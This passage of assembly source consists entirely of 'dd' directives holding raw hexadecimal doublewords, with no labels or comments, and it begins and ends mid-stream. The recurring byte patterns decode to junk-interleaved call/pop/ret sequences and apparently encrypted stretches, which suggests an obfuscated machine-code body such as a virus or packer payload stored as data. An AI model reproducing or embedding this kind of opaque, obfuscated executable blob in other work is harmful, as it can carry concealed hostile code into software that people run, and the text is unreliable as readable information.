8B46E6BFh, 0E72839BDh, 0B1850105h, 8B05E712h dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 91BD8B7Bh, 8105E717h, 0E72715BDh, 7D005h dd 2D850F00h, 0F000000h, 85FFFEB7h, 5E72715h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 58C35343h, 0C2BF5AD0h dd 0F6110EACh, 2715B5FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 448E6BC3h, 52999F52h dd 0FF5EC1C2h, 0E721C195h, 0E890F05h, 60000000h, 0B1BD8Bh dd 810F05E7h, 0 dd 78B89061h, 2B123456h, 0E72965BDh, 0BD9D8D05h, 0E905EAC4h dd 0FFFFF826h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 29C35646h, 0EE873h, 0BB430000h, 2574EC17h, 543D3D9Ch dd 606B2F41h, 5EF6BF0Fh, 6AC18Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 7332FCC3h, 0E02D2768h dd 8B1BEE5Fh, 0E708B1B5h, 0E1BE6605h, 4EBF6h, 53000000h dd 0ED5DBF66h, 50006A5Eh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0F781B023h, 374A7B97h dd 1395858Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 49E35DC3h, 6668D3FFh, 0DE75CE81h dd 50F7B70Fh, 8EABF66h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 58FFC350h dd 0DD31684Dh, 13BF66BEh, 60006AAFh, 12CD9D8Bh, 8D8905E7h dd 5E701CDh, 9006A61h, 0E711E58Dh, 0D9858D05h, 6605EAC6h dd 252BC781h, 0BF05C083h, 64CCC703h, 27D9BD03h, 665005E7h dd 489FE8Bh, 77BE6624h, 6A006ACEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 15B9C350h dd 2A986529h, 8B6660DAh, 4FA8B9C8h, 6A611A87h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FFD9462Ah, 0E71A4D95h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E3DA6F7Bh dd 314C785Ch, 0E70A6985h, 14E805h, 8FB00000h, 0F1A3AC0Dh dd 7E5B7F58h, 5D6F5473h, 2AC9250Bh, 0B58BC491h, 5E705E9h dd 0AA9D8D5Eh, 6605EAA4h, 0FFF072BFh, 498D89D3h, 0FF05E718h dd 0E714FD85h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 13AF42F6h, 0C56A6452h dd 57E95F51h, 0E800000Fh, 0 dd 0E3ED815Dh, 0F905EAC6h, 2715BD81h, 7D005E7h, 860F0000h dd 178h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 4AC35545h, 0DE2805CCh, 1AE18589h, 816605E7h, 8B400AEFh dd 0E71BA59Dh, 0A5B58B05h, 8105E71Ah, 100E3h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 5D3A03C1h, 0BF606168h, 1841EA98h, 0B61C78Bh, 0C1850FDBh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 112AC357h, 213DB58Bh, 0BD8305E7h dd 5EAC53Ah, 48840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 900BC353h dd 65BD8B2Ch, 0E905E706h, 77h, 10E8h, 377C6B00h, 381B886Bh dd 0F5A4FA2Ah, 9B234DCh, 38C0FF7h, 66000000h, 0C75EF18Bh dd 0EAC53A85h, 105h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 74B40530h, 699149EDh dd 0CE9h, 21DDF00h, 5DB7071Dh, 0B2276783h, 15E92Ah, 0F6810000h dd 6387B407h, 0C53A85C7h, 5EAh, 81660000h, 8D3E2BE7h, 0E71BA59Dh dd 8B41BF05h, 238111C6h, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 35C35646h, 0AC5E479h, 661DCF31h dd 41F4D781h, 0F8DB8C66h, 0F04C3F6h, 9B84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 960C7097h, 0FF1E1624h, 0E7132995h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 610B39ADh, 898444E8h, 0E72BD595h, 52509005h, 0BE85250h dd 18000000h, 0B1AAF083h, 0A87EEED8h, 0F5EEAE3h, 5AFA8B31h dd 5A310F58h, 6A905058h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0B612C355h, 0B4F2E98Eh dd 0B58B120Bh, 5E7202Dh, 49BE9h, 0FC535300h, 0B05E5Eh dd 1B598D89h, 70E605E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0FAC35545h, 6B5D8F80h, 71E4FABEh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0BFC35141h, 8166561Dh dd 5F8E3AC6h, 0BAD8B60Fh, 6, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 2FC35343h, 6AC38B41h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 18ACC356h, 10E9D9h, 0E94D0000h, 0C6F964F7h, 88D4749Dh dd 5D5B743Ah, 0DFBE93DFh, 0C158DA62h, 6A04E8h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 5D7170C3h, 1D419D31h, 10E905E7h, 90000000h, 30A5BE9Ch dd 20113043h, 51CE46D9h, 66EF295Fh, 6AE2F7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0FA6B8C3h dd 8166F6BFh, 2BF513EFh, 0F6BF0FD8h, 2F119529h, 509305E7h dd 832E64BFh, 0E8505E20h, 5, 603E9EDBh, 6810FF7h, 0F000000h dd 88h, 6A935E00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 5474C357h, 59B12DBEh, 3430BF66h dd 2715B5FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 8BDB6BC3h, 4CB56CB8h, 9D89E7CCh dd 5E70C21h, 53F78166h, 0C195FFE4h, 6A05E721h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 4FE0C352h, 8B66E8A4h, 89B529F1h, 0F05E717h, 680h, 0A3F78100h dd 0B012D51Ah, 41958900h, 0E605E715h, 50006A70h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0BF674B20h, 8EBF5A09h, 0E43AA82Eh, 9DC78171h, 0E85DD9BFh dd 0Eh, 8D24101h, 0E3BE3229h, 1071CDA0h, 895312E3h, 0E707C195h dd 3C5E5E05h, 65830F61h, 31000002h, 0E727358Dh, 50BE6605h dd 0D8B60F79h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0DCC35747h, 0AB1468CAh, 0BAEA5FBCh, 6, 99BFEE81h dd 0C38B079Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 89C35545h, 8BC6FF96h, 4E8C1F7h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 0B6C35747h, 46AA7FE1h dd 0E2F76659h, 25458589h, 0D82B05E7h, 6870Fh, 66560000h dd 5FE4F6BFh, 0F3BF0F58h, 880FD82Bh, 1C0h, 64D5D681h, 7B90329h dd 8B000000h, 0E73295B5h, 0C18305h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 1AC35242h, 86E98D9h, 89479775h dd 0E716DDB5h, 0FD93B05h, 17B86h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0A8844ECh dd 0EE31FBE6h, 0FA8BA155h, 8BF8B70Fh, 0E72C49B5h, 0D98C6605h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 82C35646h dd 8A392AA1h, 0BEE9228Ch, 0F78B6668h, 0F04C1F6h, 0EC84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 95FFC2FBh, 5E71329h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 45C35040h, 82862C5Bh, 89AC8886h dd 0E70AD585h, 6A5B05h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0AA6D5EC3h, 8BB0B6ACh, 9D8D89FAh dd 2B05E713h, 76BF66C3h, 8343DC8h, 860F0000h, 65h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5DC35242h, 0E4639894h dd 0B58B4F17h, 5E72991h, 63E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0F95CF241h dd 0A6CF740Eh, 830FB8CFh, 0Dh, 870F60h, 0B9000000h, 7B4B3869h dd 6AC08B61h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0C60DC352h, 68A0Fh, 8D890000h dd 5E729D9h, 0D88BC38Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 69C35343h, 0AEAD4BB6h, 5D2B79E2h, 850Fh dd 0B5890000h, 5E72155h, 297985C7h, 71D705E7h, 6A77ECh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0F28067C3h, 66AF2F85h, 95806ABFh, 0FE919h, 3F1D0000h dd 0DBBB0791h, 3AFD267Bh, 0C3B96297h, 81C08B38h, 346C81C7h dd 15BD8134h, 0D005E727h, 0F000007h, 2A85h, 38CE8100h dd 0FF3EFA5Eh, 0E7271585h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FF646E9Ch dd 0E72715B5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0F38BBDB5h, 0C195FFFCh dd 0E805E721h, 0Eh, 1C479D2Bh, 8102D994h, 897B9476h, 9D091838h dd 5E72BC9h, 0F40905Eh, 0BD83F3B7h, 5E7178Dh, 0BC840F00h dd 89000000h, 0E72E359Dh, 3DBD8305h, 5E718h, 0A9840Fh dd 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 9E916C3h, 0EB000000h, 1ADC3315h, 0DCA5D28Ch, 22D0FABFh dd 8D95FF46h, 8B05E717h, 0E70689BDh, 810F05h, 0B000000h dd 60840FC0h, 0E8000000h, 14h, 0AB09475h, 2B84343Eh, 48616B3Eh dd 992FDF89h, 5F65F6C2h, 6E9h, 2B404700h, 5E285F4Ah, 4D248D8Dh dd 0BD8905E7h, 5E7017Dh, 5B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 93297BF4h dd 0E1FFA47Ah, 0E46DE81h, 83FC0C00h, 0E70229BDh, 840F0005h dd 679h, 5E95260h, 40000000h, 7A94679Ah, 8166535Bh, 58BC8CF0h dd 3DBD8361h, 5E718h, 657840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 42F316C3h dd 0CA7D280Ah, 66D9078Fh, 73B5F781h, 4458D8Dh, 665205E7h dd 5F0004BFh, 12E9h, 0E8C59200h, 0F950D648h, 0B4EF9E5Ah dd 1E293C96h, 0C7F0E4EEh, 0B27C8401h, 95BD8944h, 8105E708h dd 99CFCB01h, 52006A14h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 99F6AEB9h, 9CF85A6Bh, 41C77286h dd 706B3404h, 50006ACEh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 44181F2h, 31D6D710h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0F688BC3h, 0D6CFA484h, 880F529Dh, 4, 72D0BF66h, 3995015Eh dd 8D05E720h, 0E7044585h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0C0D1C77Ah dd 0CE8166A7h, 5090317Ch, 11E852h, 5470000h, 0BAF48AF1h dd 0CF297F76h, 52528905h, 60FB828Dh, 310F5F61h, 19BC25BEh dd 50585A08h, 90FA8B66h, 3C99D01h, 95FF05E7h, 5E70229h dd 8ED0F781h, 0BF66371Dh, 8D8D1FC3h, 5E70445h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9BC35242h, 5CF241A1h dd 8B740EF9h, 0E70331BDh, 1C705h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 2966C350h, 441C710h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9EC35343h dd 93245990h, 14C4B87h, 0E7145D85h, 0FC00B05h, 0AD84h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0C1B12543h, 8D8D9EB3h, 5E74D24h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D5C35545h, 0DDE311C5h dd 5B8A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8D8914C3h, 5E705E9h, 1C498D89h dd 0F85605E7h, 6AE1FF5Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0F5C9C355h, 0CE8h dd 0CC630000h, 7EE667CCh, 0CF29150h, 92BF6698h, 8D8D5FB4h dd 5E70445h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0C5C35242h, 8426E09Eh, 7C01C7F8h, 6A44AA72h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 8CAEC357h, 0F3E1E286h, 181A597h, 1499CFCBh, 10E9h, 535FBB00h dd 6331D63Bh, 8733868Fh, 365AE1ABh, 441C7B7h, 0CE78753Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DFC35545h dd 81C2992Fh, 0D7100441h, 6A31D6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 72BA38C3h, 0B1546DB8h dd 0F864D042h, 9D29006Ah, 5E71811h, 8DF2BF0Fh, 0E7044585h dd 0BF0F6005h, 10E9DEh, 0A8750000h, 76821620h, 0F2E70117h dd 88522FF2h, 5061E878h, 0C4BE5250h, 0F0C6A69h, 6E95031h dd 4F000000h, 716AF1Fh, 585A5FE6h, 89240489h, 0E729C19Dh dd 2995FF05h, 5605E702h, 6850Fh, 8E0F0000h, 0 dd 458D8D5Fh, 2B05E704h, 0E71401B5h, 1C705h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0F5FDC350h, 80F5A03Bh, 0BD03BF70h, 5E70B11h dd 441C7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 820EC353h, 398DB3BEh, 13E8h, 9D0A5900h dd 0E23AA650h, 4035928Dh, 45DDEE49h, 58FA36E7h, 1A599501h dd 0B5F05E7h, 56840FC0h, 66000000h, 8D8219BEh, 0E74D248Dh dd 39BD8B05h, 0B805E724h, 5, 0E1FFF18Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 79C35545h, 0CE22BB10h dd 0AD5CE6B5h, 13E969h, 12050000h, 7A59F0Eh, 0F77213CFh dd 2AFD9647h, 0E1A6190Dh, 458D8D4Fh, 6A05E704h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 351C355h, 89B36F0Ah, 0E704A195h, 0C7FE8B05h, 0CA95A501h dd 0CB018154h, 0E91499CFh, 11h, 28011E92h, 8ECB42BAh, 16EF90E4h dd 0EB53CF47h, 441C7AAh, 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 1C35242h, 7C3E828Eh, 10044181h dd 6031D6D7h, 17840Fh, 12E90000h, 39000000h, 444B1FCBh dd 9AC61C39h, 4732E6Dh, 99BA590Eh, 0CDF681E7h, 613BD763h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0C217E1C3h, 0ADF5D794h, 1603628h, 0E7168185h dd 0EE95605h, 0DC000000h, 6102F9E8h, 4BB4B241h, 3B36367Bh dd 8D6158ABh, 0E7044585h, 15860F05h, 60000000h, 9E9h, 0FDCA9B00h dd 4E731876h, 8166E8E5h, 61D5C3E8h, 2C9DB501h, 0E99005E7h dd 11h, 566E7EBCh, 0D18FC45Fh, 0B61B8ED8h, 59507625h, 5F565064h dd 49BD8990h, 0FF05E72Bh, 0E7022995h, 19B58B05h, 8D05E72Fh dd 0E704458Dh, 0EE905h, 827A0000h, 0B8281FF2h, 0E443C463h dd 8D67F9F7h, 1C7h, 10E80000h, 0C0000000h, 71B0E1E1h, 0BD5F059Dh dd 0C9FA0140h, 89F7D471h, 0E7162D9Dh, 41C75F05h, 4, 8B66F500h dd 0FC00BF9h, 4884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 21F666CDh, 2B359D29h dd 8D8D05E7h, 5E74D24h, 68D0Fh, 0BD8B0000h, 5E72B01h, 0F7FABE66h dd 5B8h, 0D9958900h, 0FF05E72Ah, 0E9CA03E1h, 0FFFFF0C7h dd 13E9h, 6135DD00h, 6FA28D72h, 83C1A11Bh, 0B123BAEBh dd 0EFA66F77h, 16ADB58Bh, 0C18B05E7h, 0AE9h, 96D4AA00h dd 0A968D51Ch, 0EB59B5E3h, 4, 0E830F00h, 60000000h, 46FCC981h dd 858966DEh, 5E701BDh, 918D8961h, 0BE05E722h, 143CFC27h dd 1395858Dh, 605005E7h, 75A3BA66h, 0DE850h, 1560000h dd 78D1AF30h, 66A88B6Bh, 5EA428BBh, 4896158h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD29BD00h, 5E71159h, 2871B58Bh, 6A05E7h, 11E9h, 86EAEE00h dd 66E50420h, 68768D1Eh, 3B8BCC30h, 6A7FEEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F9C35545h, 0A985894Dh dd 8D05E722h, 0EAD7EE85h, 5C08305h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 26C35545h, 0A9B589F3h, 5005E722h dd 60F08A60h, 61F28B66h, 24048961h, 68C0Fh, 8D890000h dd 5E73179h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0D3E35FC3h, 0CDB5234Ch, 6A05E712h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0F7B70FD3h, 1A4D95FFh, 9D0905E7h, 5E7250Dh dd 0A4AA9D8Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 11D9E5C3h, 0FF323B2Fh, 53006AD3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 65234E89h, 0D50175FAh, 96BE403Bh, 0FF4EADAFh, 0E714FD85h dd 1B50305h, 0E905E702h, 0A05h, 0E8h, 0ED815D00h, 5EAD7F8h dd 2A318D89h, 0BD8105E7h, 5E72715h, 7D0h, 123860Fh, 0B58B0000h dd 5E72091h, 6AD9D8Bh, 0EE8105E7h, 70C6B7BFh, 100E381h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 8168C7C3h, 0A51410F6h, 0FDB0B1Ch, 0BB85h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 1A233587h, 0EF6586E9h, 0BD832855h, 5EAD648h dd 4D840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 1E1C352h, 0E70A0195h dd 72E905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 40EBF1C3h, 6652096Fh, 5E692ABEh dd 0D64885C7h, 105EAh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0A90464C3h, 81E81427h dd 0BA0D7CBEh, 16E953h, 0B58B0000h, 5E711C5h, 0D64885C7h dd 5EAh, 0B5090000h, 5E72EF1h, 6AD9D8Dh, 81F905E7h, 0FFFEFF23h dd 0BD10BEFFh, 8B6676C4h, 0DB8C66F1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 28C35343h, 211BEF4Bh, 0F04C3F6h dd 8B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0D2BE66E8h, 2995FF9Bh, 6A05E713h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 613AC351h, 68F0Fh, 0B50B0000h, 5E7036Dh dd 5E950h, 0A9650000h, 8957AA66h, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 826A2BC3h dd 0F52AA82h, 68Dh, 18D8900h, 5E05E72Bh, 460E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0D40F3826h, 47BF4565h, 8900B0EEh, 0E70AB18Dh, 70E6F805h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 99C35646h dd 0B73FD324h, 8B665105h, 7E95EF0h, 0E9000000h, 55FA455Eh dd 71E4FD15h, 60DB58Bh, 0B60F05E7h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B58B7860h dd 5E71561h, 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 5101D935h, 0EF4B28C8h dd 0BD89C38Bh, 5E705A5h, 0F904E8C1h, 6AE2F766h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0FCBDC356h, 0B58B7B70h, 5E717C5h, 6AD82Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3A1CEDC3h dd 0A0096590h, 0F9D24F3h, 0B82h, 5810F00h, 0BE000000h dd 2F6FDC71h, 9919D29h, 509305E7h, 763EA3BEh, 6A936Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 8DA858C3h, 0EBC1B9D0h, 0C8DBD89h, 0B5FF05E7h, 5E72715h dd 2C419589h, 95FF05E7h, 5E721C1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 99C35545h dd 0EEF06706h, 64540A26h, 11E944h, 0D6530000h, 0C68DEE39h dd 5BE1FAE9h, 0C889EB88h, 0B035F770h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 3810FEDh, 0F000000h, 70E6F1B7h, 7E9h, 92313700h, 0E6C739F1h dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0EEFEDEC3h, 9531D584h, 5E72299h, 255B58Bh dd 613C05E7h, 24F830Fh, 0B60F0000h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 881128FEh dd 31B58BF1h, 0BA05E724h, 6, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 9FC35242h, 0F89FEBC6h, 6BDB0B6Bh dd 6AC38B4Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0F89FC353h, 6BDB0B6Bh, 9E9AA4Ch dd 74000000h, 84F8B25Dh, 0BBC9F42Fh, 6A04E8C1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 907C357h, 0E727B18Dh, 0E2F76605h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 51C35040h, 6AD82BCCh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 6373C351h, 625F44D1h, 0BD01BF71h, 5E72991h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 3CFF70Ah, 8B668EA8h, 0FD82BF7h, 12C88h, 0DFBE6600h dd 7B91Ch, 0C6810000h, 6BC6DF96h, 6A00C183h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 8551C350h, 91B58BCCh, 3B05E718h, 0EE860FD9h, 9000000h dd 0E708E1B5h, 399D8905h, 6605E715h, 6AD98Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B589CAC3h dd 5E71D81h, 0F04C1F6h, 0AC84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 22024028h dd 8529564Fh, 5E728F1h, 132995FFh, 5BF805E7h, 6AC32Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0DE5354C3h, 1999E45Dh, 59B523CAh, 3D05E72Fh, 834h, 47860Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BE6648C3h, 2AE916B3h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 2467C351h, 0D0BE6651h, 89C08B03h, 0E708C99Dh, 8BC38B05h dd 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 9B88EB79h, 0B92E96Eh, 0E724E5B5h, 0D19D0105h dd 0C705E708h, 0E71BA585h, 85359705h, 50006A15h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 1C657526h, 0EFC5332h, 0C08B6C21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 9FC35646h, 109D4A31h, 8BF78B66h dd 0E70475B5h, 15BD8105h, 0D005E727h, 0F000007h, 4A85h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 85FF3C8Fh, 5E72715h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 46C35747h, 17D67957h, 8166BC61h dd 0FFC85CD6h, 0E72715B5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 122F3220h dd 0D1BD89A0h, 8905E707h, 0E70579BDh, 0C195FF05h, 6A05E721h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 90EAC351h, 8166D88Bh, 83DD59D6h, 0E71809BDh dd 840F0005h, 56h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0CFC35141h, 95EBE66h, 227E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0CACFE8E2h, 2EB20379h, 8D29AC0Ah, 5E72B69h, 188DB58Bh dd 0DF8C05E7h, 0C7F766F8h, 850F0004h, 1E8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2AC35545h, 0BA1DC736h dd 8589EB65h, 5E71925h, 6AFF2Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 9D8D92C3h, 5EAE1C5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A5C35343h dd 0D4BE662Fh, 0BE665043h, 1C895F70h, 35FF6424h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D6C35040h dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0BA35C350h, 0A98D29CDh dd 8B05E706h, 57006AC4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 63E8D690h, 0B589C274h, 5E70CD9h dd 0BC18589h, 0FE905E7h, 0A4000000h, 0BB7D0B75h, 0F0670699h dd 540A26EEh, 1CD4464h, 8F6400EBh, 5, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0D8679E22h, 0E03A0CD4h, 6A04C483h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0B723C350h dd 91361C89h, 60B882B8h, 8E8F8h, 0D0080000h, 954A396Ah dd 8D89FB8Dh, 5E72F11h, 0C00B6159h, 6E840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0BD2F83C3h, 90D06E90h, 24BD8DBBh, 8B05E74Dh, 0E724A9B5h dd 5B805h, 8B0F0000h, 3, 0FFF7B70Fh, 0F68166E7h, 